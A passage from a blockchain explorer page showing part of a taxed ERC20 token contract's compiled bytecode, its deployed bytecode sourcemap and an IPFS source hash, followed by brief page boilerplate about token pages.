57305f90815260016020526040902054610af19082610e90565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b419085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610b6c9083610eee565b6001600160a01b0385165f90815260016020526040902055610baf610b918383610eee565b6001600160a01b0385165f9081526001602052604090205490610e90565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610bf88585610eee565b60405190815260200160405180910390a350505050565b5f8184841115610c325760405162461bcd60e51b81526004016104ef9190610f5b565b505f610c3e8486611266565b95945050505050565b5f818311610c555782610c57565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ca457610ca4611279565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cfb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1f919061128d565b81600181518110610d3257610d32611279565b6001600160a01b039283166020918202929092010152601354610d5891309116846107b5565b6013546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610d939388935f9389939216914291016112a8565b5f604051808303815f87803b158015610daa575f80fd5b505af1158015610dbc573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f825f03610de057505f6104a0565b5f610deb83856111ef565b905082610df88583611319565b14610c575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ef565b5f610c5783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f2f565b5f80610e9c838561123b565b905083811015610c575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ef565b5f610c5783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c0f565b5f8183610f4f5760405162461bcd60e51b81526004016104ef9190610f5b565b505f610c3e8486611319565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146106e2575f80fd5b5f8060408385031215610fb5575f80fd5b8235610fc081610f90565b946020939093013593505050565b5f805f60608486031215610fe0575f80fd5b8335610feb81610f90565b92506020840135610ffb81610f90565b929592945050506040919091013590565b5f6020828403121561101c575f80fd5b5035919050565b5f805f60608486031215611035575f80fd5b833561104081610f90565b9250602084013561105081610f90565b9150604084013561106081610f90565b809150509250925092565b5f6020828403121561107b575f80fd5b8135610c5781610f90565b5f8060408385031215611097575f80fd5b82356110a281610f90565b9150602083013580151581146110b6575f80fd5b809150509250929050565b5f80604083850312156110d2575f80fd5b82356110dd81610f90565b915060208301356110b681610f90565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561113b57815f1904821115611121576111216110ed565b8085161561112e57918102915b93841c9390800290611106565b509250929050565b5f82611151575060016104a0565b8161115d57505f6104a0565b8160018114611173576002811461117d57611199565b60019150506104a0565b60ff84111561118e5761118e6110ed565b50506001821b6104a0565b5060208310610133831016604e8410600b84101617156111bc575081810a6104a0565b6111c68383611101565b805f19048211156111d9576111d96110ed565b029392505050565b5f610c5760ff841683611143565b80820281158282048414176104a0576104a06110ed565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156104a0576104a06110ed565b5f6001820161125f5761125f6110ed565b5060010190565b818103818111156104a0576104a06110ed565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561129d575f80fd5b8151610c5781610f90565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112f85784516001600160a01b0316835293830193918301916001016112d3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261133357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b2ce352c1ea1bfa4f876141a526462460e2732d7e22b47953d1c952958cb29d064736f6c63430008190033

Deployed Bytecode Sourcemap

4146:6586:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6118:83;;;;;;;;;;-1:-1:-1;6188:5:0;;;;;;;;;;;;-1:-1:-1;;;6188:5:0;;;;6118:83;;;;;;;:::i;:::-;;;;;;;;6951:161;;;;;;;;;;-1:-1:-1;6951:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6951:161:0;893:187:1;5214:41:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5214:41:0;1085:177:1;4569:25:0;;;;;;;;;;-1:-1:-1;4569:25:0;;;;-1:-1:-1;;;;;4569:25:0;;;;;;-1:-1:-1;;;;;1431:32:1;;;1413:51;;1401:2;1386:18;4569:25:0;1267:203:1;6395:95:0;;;;;;;;;;;;;:::i;9720:110::-;;;;;;;;;;;;;:::i;:::-;;7120:313;;;;;;;;;;-1:-1:-1;7120:313:0;;;;;:::i;:::-;;:::i;9838:99::-;;;;;;;;;;-1:-1:-1;9838:99:0;;;;;:::i;:::-;;:::i;6304:83::-;;;;;;;;;;-1:-1:-1;6304:83:0;;5033:1;2263:36:1;;2251:2;2236:18;6304:83:0;2121:184:1;10108:245:0;;;;;;;;;;-1:-1:-1;10108:245:0;;;;;:::i;:::-;;:::i;10502:190::-;;;;;;;;;;-1:-1:-1;10502:190:0;;;;;:::i;:::-;;:::i;4601:33::-;;;;;;;;;;-1:-1:-1;4601:33:0;;;;-1:-1:-1;;;;;4601:33:0;;;9949:151;;;;;;;;;;;;;:::i;4537:25::-;;;;;;;;;;-1:-1:-1;4537:25:0;;;;-1:-1:-1;;;;;4537:25:0;;;6498:119;;;;;;;;;;-1:-1:-1;6498:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6591:18:0;6564:7;6591:18;;;:9;:18;;;;;;;6498:119;3227:148;;;;;;;;;;;;;:::i;5112:40::-;;;;;;;;;;;;;;;;3013:79;;;;;;;;;;-1:-1:-1;3051:7:0;3078:6;-1:-1:-1;;;;;3078:6:0;3013:79;;6209:87;;;;;;;;;;-1:-1:-1;6281:7:0;;;;;;;;;;;;-1:-1:-1;;;6281:7:0;;;;6209:87;;6625:167;;;;;;;;;;-1:-1:-1;6625:167:0;;;;;:::i;:::-;;:::i;5159:48::-;;;;;;;;;;;;;;;;10365:129;;;;;;;;;;-1:-1:-1;10365:129:0;;;;;:::i;:::-;;:::i;6800:143::-;;;;;;;;;;-1:-1:-1;6800:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6908:18:0;;;6881:7;6908:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6800:143;4643:28;;;;;;;;;;;;;;;;6951:161;7026:4;7043:39;848:10;7066:7;7075:6;7043:8;:39::i;:::-;-1:-1:-1;7100:4:0;6951:161;;;;;:::o;6395:95::-;6448:7;5092:13;5033:1;5092:2;:13;:::i;:::-;5076:29;;:13;:29;:::i;:::-;6468:14;;6395:95;:::o;9720:110::-;3140:6;;-1:-1:-1;;;;;3140:6:0;848:10;3140:22;3132:67;;;;-1:-1:-1;;;3132:67:0;;;;;;;:::i;:::-;;;;;;;;;9775:11:::1;:18:::0;;-1:-1:-1;;;;9804:18:0;-1:-1:-1;;;9804:18:0;;;9720:110::o;7120:313::-;7218:4;7235:36;7245:6;7253:9;7264:6;7235:9;:36::i;:::-;7282:121;7291:6;848:10;7313:89;7351:6;7313:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7313:19:0;;;;;;:11;:19;;;;;;;;848:10;7313:33;;;;;;;;;;:37;:89::i;:::-;7282:8;:121::i;:::-;-1:-1:-1;7421:4:0;7120:313;;;;;:::o;9838:99::-;3140:6;;-1:-1:-1;;;;;3140:6:0;848:10;3140:22;3132:67;;;;-1:-1:-1;;;3132:67:0;;;;;;;:::i;:::-;9910:10:::1;:19:::0;9838:99::o;10108:245::-;3140:6;;-1:-1:-1;;;;;3140:6:0;848:10;3140:22;3132:67;;;;-1:-1:-1;;;3132:67:0;;;;;;;:::i;:::-;10188:2:::1;10178:8;:12;;10170:45;;;::::0;-1:-1:-1;;;10170:45:0;;6155:2:1;10170:45:0::1;::::0;::::1;6137:21:1::0;6194:2;6174:18;;;6167:30;-1:-1:-1;;;6213:18:1;;;6206:50;6273:18;;10170:45:0::1;5953:344:1::0;10170:45:0::1;10224:12;:21:::0;;;10254:13:::1;:22:::0;;;10285:14:::1;:25:::0;;;10319:15:::1;:26:::0;10108:245::o;10502:190::-;3140:6;;-1:-1:-1;;;;;3140:6:0;848:10;3140:22;3132:67;;;;-1:-1:-1;;;3132:67:0;;;;;;;:::i;:::-;10603:10:::1;:16:::0;;-1:-1:-1;;;;;10603:16:0;;::::1;-1:-1:-1::0;;;;;;10603:16:0;;::::1;;::::0;;;10630:10:::1;:16:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;10657:18:::1;:27:::0;;;;;::::1;::::0;::::1;;::::0;;10502:190::o;9949:151::-;3140:6;;-1:-1:-1;;;;;3140:6:0;848:10;3140:22;3132:67;;;;-1:-1:-1;;;3132:67:0;;;;;;;:::i;:::-;10037:4:::1;10001:11;6591:18:::0;;;:9;:18;;;;;;10015:42:::1;::::0;10045:11:::1;;10015:3;:42::i;:::-;10001:56;;10068:24;10085:6;10068:16;:24::i;:::-;9990:110;9949:151::o:0;3227:148::-;3140:6;;-1:-1:-1;;;;;3140:6:0;848:10;3140:22;3132:67;;;;-1:-1:-1;;;3132:67:0;;;;;;;:::i;:::-;3334:1:::1;3318:6:::0;;3297:40:::1;::::0;-1:-1:-1;;;;;3318:6:0;;::::1;::::0;3297:40:::1;::::0;3334:1;;3297:40:::1;3365:1;3348:19:::0;;-1:-1:-1;;;;;;3348:19:0::1;::::0;;3227:148::o;6625:167::-;6703:4;6720:42;848:10;6744:9;6755:6;6720:9;:42::i;10365:129::-;3140:6;;-1:-1:-1;;;;;3140:6:0;848:10;3140:22;3132:67;;;;-1:-1:-1;;;3132:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10450:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:36;;-1:-1:-1;;10450:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10365:129::o;7441:177::-;-1:-1:-1;;;;;7526:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7578:32;;1231:25:1;;;7578:32:0;;1204:18:1;7578:32:0;;;;;;;7441:177;;;:::o;7626:1490::-;7706:17;-1:-1:-1;;;;;;;7744:21:0;;;7736:30;;;;;;-1:-1:-1;;;;;7782:24:0;;;;;;:18;:24;;;;;;;;7781:25;:52;;;;-1:-1:-1;;;;;;7811:22:0;;;;;;:18;:22;;;;;;;;7810:23;7781:52;:69;;;;-1:-1:-1;3051:7:0;3078:6;-1:-1:-1;;;;;7837:13:0;;;3078:6;;7837:13;;7781:69;7777:983;;;7879:76;7951:3;7879:67;7901:15;;7891:9;;:25;7890:55;;7931:14;;7890:55;;;7918:12;;7890:55;7879:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7978:11;;7867:88;;-1:-1:-1;;;;7978:11:0;;;;7970:43;;;;-1:-1:-1;;;7970:43:0;;6504:2:1;7970:43:0;;;6486:21:1;6543:2;6523:18;;;6516:30;-1:-1:-1;;;6562:18:1;;;6555:49;6621:18;;7970:43:0;6302:343:1;7970:43:0;8040:13;;-1:-1:-1;;;;;8040:13:0;;;8032:21;;;;8028:163;;8108:10;;8098:6;8082:13;8092:2;-1:-1:-1;;;;;6591:18:0;6564:7;6591:18;;;:9;:18;;;;;;;6498:119;8082:13;:22;;;;:::i;:::-;:36;;8074:71;;;;-1:-1:-1;;;8074:71:0;;6982:2:1;8074:71:0;;;6964:21:1;7021:2;7001:18;;;6994:30;-1:-1:-1;;;7040:18:1;;;7033:52;7102:18;;8074:71:0;6780:346:1;8074:71:0;8164:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8028:163;8216:13;;-1:-1:-1;;;;;8216:13:0;;;8210:19;;;;8207:223;;8261:79;8336:3;8261:70;8283:16;;8273:9;;:26;8272:58;;8315:15;;8272:58;;;8301:13;;8261:6;;:10;:70::i;:79::-;8249:91;-1:-1:-1;5092:13:0;5033:1;5092:2;:13;:::i;:::-;5076:29;;:13;:29;:::i;:::-;8367:10;;:20;8359:55;;;;-1:-1:-1;;;8359:55:0;;6982:2:1;8359:55:0;;;6964:21:1;7021:2;7001:18;;;6994:30;-1:-1:-1;;;7040:18:1;;;7033:52;7102:18;;8359:55:0;6780:346:1;8359:55:0;8495:4;8446:28;6591:18;;;:9;:18;;;;;;8521:6;;-1:-1:-1;;;8521:6:0;;;;8520:7;:30;;;;-1:-1:-1;8537:13:0;;-1:-1:-1;;;;;8531:19:0;;;8537:13;;8531:19;8520:30;:45;;;;-1:-1:-1;8554:11:0;;-1:-1:-1;;;8554:11:0;;;;8520:45;:89;;;;;8592:17;;8569:20;:40;8520:89;:123;;;;;8625:18;;8613:9;;:30;8520:123;8516:233;;;8664:69;8681:51;8685:6;8693:38;8697:20;8719:11;;8693:3;:38::i;:::-;8681:3;:51::i;:::-;8664:16;:69::i;:::-;7852:908;7777:983;8775:11;;8772:161;;8843:4;8825:24;;;;:9;:24;;;;;;:39;;8854:9;8825:28;:39::i;:::-;8818:4;8800:24;;;;:9;:24;;;;;;;:64;;;;8882:39;;-1:-1:-1;;;;;8882:39:0;;;;;;;8911:9;1231:25:1;;1219:2;1204:18;;1085:177;8882:39:0;;;;;;;;8772:161;-1:-1:-1;;;;;8959:15:0;;;;;;:9;:15;;;;;;:27;;8979:6;8959:19;:27::i;:::-;-1:-1:-1;;;;;8943:15:0;;;;;;:9;:15;;;;;:43;9011:40;9029:21;:6;9040:9;9029:10;:21::i;:::-;-1:-1:-1;;;;;9011:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8997:13:0;;;;;;;:9;:13;;;;;:54;;;;9067:41;;;9086:21;:6;9097:9;9086:10;:21::i;:::-;9067:41;;1231:25:1;;;1219:2;1204:18;9067:41:0;;;;;;;7695:1421;7626:1490;;;:::o;1905:190::-;1991:7;2027:12;2019:6;;;;2011:29;;;;-1:-1:-1;;;2011:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2051:9:0;2063:5;2067:1;2063;:5;:::i;:::-;2051:17;1905:190;-1:-1:-1;;;;;1905:190:0:o;9126:98::-;9183:7;9210:1;9208;:3;9207:9;;9215:1;9207:9;;;9213:1;9207:9;9200:16;9126:98;-1:-1:-1;;;9126:98:0:o;9232:480::-;5489:6;:13;;-1:-1:-1;;;;5489:13:0;-1:-1:-1;;;5489:13:0;;;9334:16:::1;::::0;;9348:1:::1;9334:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9334:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9334:16:0::1;9310:40;;9379:4;9361;9366:1;9361:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9361:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9405:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9405:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9361:7;;9405:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9395:4;9400:1;9395:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9395:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9470:15:::1;::::0;9438:62:::1;::::0;9455:4:::1;::::0;9470:15:::1;9488:11:::0;9438:8:::1;:62::i;:::-;9511:15;::::0;9653:10:::1;::::0;;9511:193:::1;::::0;-1:-1:-1;;;9511:193:0;;-1:-1:-1;;;;;9511:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;9592:11;;9511:15:::1;::::0;9634:4;;9653:10;::::1;::::0;9678:15:::1;::::0;9511:193:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5525:6:0;:14;;-1:-1:-1;;;;5525:14:0;;;-1:-1:-1;;;;9232:480:0:o;2103:246::-;2161:7;2185:1;2190;2185:6;2181:47;;-1:-1:-1;2215:1:0;2208:8;;2181:47;2238:9;2250:5;2254:1;2250;:5;:::i;:::-;2238:17;-1:-1:-1;2283:1:0;2274:5;2278:1;2238:17;2274:5;:::i;:::-;:10;2266:56;;;;-1:-1:-1;;;2266:56:0;;9333:2:1;2266:56:0;;;9315:21:1;9372:2;9352:18;;;9345:30;9411:34;9391:18;;;9384:62;-1:-1:-1;;;9462:18:1;;;9455:31;9503:19;;2266:56:0;9131:397:1;2357:132:0;2415:7;2442:39;2446:1;2449;2442:39;;;;;;;;;;;;;;;;;:3;:39::i;1574:179::-;1632:7;;1664:5;1668:1;1664;:5;:::i;:::-;1652:17;;1693:1;1688;:6;;1680:46;;;;-1:-1:-1;;;1680:46:0;;9735:2:1;1680:46:0;;;9717:21:1;9774:2;9754:18;;;9747:30;9813:29;9793:18;;;9786:57;9860:18;;1680:46:0;9533:351:1;1761:136:0;1819:7;1846:43;1850:1;1853;1846:43;;;;;;;;;;;;;;;;;:3;:43::i;2497:189::-;2583:7;2618:12;2611:5;2603:28;;;;-1:-1:-1;;;2603:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2642:9:0;2654:5;2658:1;2654;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1475:456::-;1552:6;1560;1568;1621:2;1609:9;1600:7;1596:23;1592:32;1589:52;;;1637:1;1634;1627:12;1589:52;1676:9;1663:23;1695:31;1720:5;1695:31;:::i;:::-;1745:5;-1:-1:-1;1802:2:1;1787:18;;1774:32;1815:33;1774:32;1815:33;:::i;:::-;1475:456;;1867:7;;-1:-1:-1;;;1921:2:1;1906:18;;;;1893:32;;1475:456::o;1936:180::-;1995:6;2048:2;2036:9;2027:7;2023:23;2019:32;2016:52;;;2064:1;2061;2054:12;2016:52;-1:-1:-1;2087:23:1;;1936:180;-1:-1:-1;1936:180:1:o;2310:529::-;2387:6;2395;2403;2456:2;2444:9;2435:7;2431:23;2427:32;2424:52;;;2472:1;2469;2462:12;2424:52;2511:9;2498:23;2530:31;2555:5;2530:31;:::i;:::-;2580:5;-1:-1:-1;2637:2:1;2622:18;;2609:32;2650:33;2609:32;2650:33;:::i;:::-;2702:7;-1:-1:-1;2761:2:1;2746:18;;2733:32;2774:33;2733:32;2774:33;:::i;:::-;2826:7;2816:17;;;2310:529;;;;;:::o;2844:247::-;2903:6;2956:2;2944:9;2935:7;2931:23;2927:32;2924:52;;;2972:1;2969;2962:12;2924:52;3011:9;2998:23;3030:31;3055:5;3030:31;:::i;3096:416::-;3161:6;3169;3222:2;3210:9;3201:7;3197:23;3193:32;3190:52;;;3238:1;3235;3228:12;3190:52;3277:9;3264:23;3296:31;3321:5;3296:31;:::i;:::-;3346:5;-1:-1:-1;3403:2:1;3388:18;;3375:32;3445:15;;3438:23;3426:36;;3416:64;;3476:1;3473;3466:12;3416:64;3499:7;3489:17;;;3096:416;;;;;:::o;3517:388::-;3585:6;3593;3646:2;3634:9;3625:7;3621:23;3617:32;3614:52;;;3662:1;3659;3652:12;3614:52;3701:9;3688:23;3720:31;3745:5;3720:31;:::i;:::-;3770:5;-1:-1:-1;3827:2:1;3812:18;;3799:32;3840:33;3799:32;3840:33;:::i;3910:127::-;3971:10;3966:3;3962:20;3959:1;3952:31;4002:4;3999:1;3992:15;4026:4;4023:1;4016:15;4042:416;4131:1;4168:5;4131:1;4182:270;4203:7;4193:8;4190:21;4182:270;;;4262:4;4258:1;4254:6;4250:17;4244:4;4241:27;4238:53;;;4271:18;;:::i;:::-;4321:7;4311:8;4307:22;4304:55;;;4341:16;;;;4304:55;4420:22;;;;4380:15;;;;4182:270;;;4186:3;4042:416;;;;;:::o;4463:806::-;4512:5;4542:8;4532:80;;-1:-1:-1;4583:1:1;4597:5;;4532:80;4631:4;4621:76;;-1:-1:-1;4668:1:1;4682:5;;4621:76;4713:4;4731:1;4726:59;;;;4799:1;4794:130;;;;4706:218;;4726:59;4756:1;4747:10;;4770:5;;;4794:130;4831:3;4821:8;4818:17;4815:43;;;4838:18;;:::i;:::-;-1:-1:-1;;4894:1:1;4880:16;;4909:5;;4706:218;;5008:2;4998:8;4995:16;4989:3;4983:4;4980:13;4976:36;4970:2;4960:8;4957:16;4952:2;4946:4;4943:12;4939:35;4936:77;4933:159;;;-1:-1:-1;5045:19:1;;;5077:5;;4933:159;5124:34;5149:8;5143:4;5124:34;:::i;:::-;5194:6;5190:1;5186:6;5182:19;5173:7;5170:32;5167:58;;;5205:18;;:::i;:::-;5243:20;;4463:806;-1:-1:-1;;;4463:806:1:o;5274:140::-;5332:5;5361:47;5402:4;5392:8;5388:19;5382:4;5361:47;:::i;5419:168::-;5492:9;;;5523;;5540:15;;;5534:22;;5520:37;5510:71;;5561:18;;:::i;5592:356::-;5794:2;5776:21;;;5813:18;;;5806:30;5872:34;5867:2;5852:18;;5845:62;5939:2;5924:18;;5592:356::o;6650:125::-;6715:9;;;6736:10;;;6733:36;;;6749:18;;:::i;7131:135::-;7170:3;7191:17;;;7188:43;;7211:18;;:::i;:::-;-1:-1:-1;7258:1:1;7247:13;;7131:135::o;7271:128::-;7338:9;;;7359:11;;;7356:37;;;7373:18;;:::i;7536:127::-;7597:10;7592:3;7588:20;7585:1;7578:31;7628:4;7625:1;7618:15;7652:4;7649:1;7642:15;7668:251;7738:6;7791:2;7779:9;7770:7;7766:23;7762:32;7759:52;;;7807:1;7804;7797:12;7759:52;7839:9;7833:16;7858:31;7883:5;7858:31;:::i;7924:980::-;8186:4;8234:3;8223:9;8219:19;8265:6;8254:9;8247:25;8291:2;8329:6;8324:2;8313:9;8309:18;8302:34;8372:3;8367:2;8356:9;8352:18;8345:31;8396:6;8431;8425:13;8462:6;8454;8447:22;8500:3;8489:9;8485:19;8478:26;;8539:2;8531:6;8527:15;8513:29;;8560:1;8570:195;8584:6;8581:1;8578:13;8570:195;;;8649:13;;-1:-1:-1;;;;;8645:39:1;8633:52;;8740:15;;;;8705:12;;;;8681:1;8599:9;8570:195;;;-1:-1:-1;;;;;;;8821:32:1;;;;8816:2;8801:18;;8794:60;-1:-1:-1;;;8885:3:1;8870:19;8863:35;8782:3;7924:980;-1:-1:-1;;;7924:980:1:o;8909:217::-;8949:1;8975;8965:132;;9019:10;9014:3;9010:20;9007:1;9000:31;9054:4;9051:1;9044:15;9082:4;9079:1;9072:15;8965:132;-1:-1:-1;9111:9:1;;8909:217::o

Swarm Source

ipfs://b2ce352c1ea1bfa4f876141a526462460e2732d7e22b47953d1c952958cb29d0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.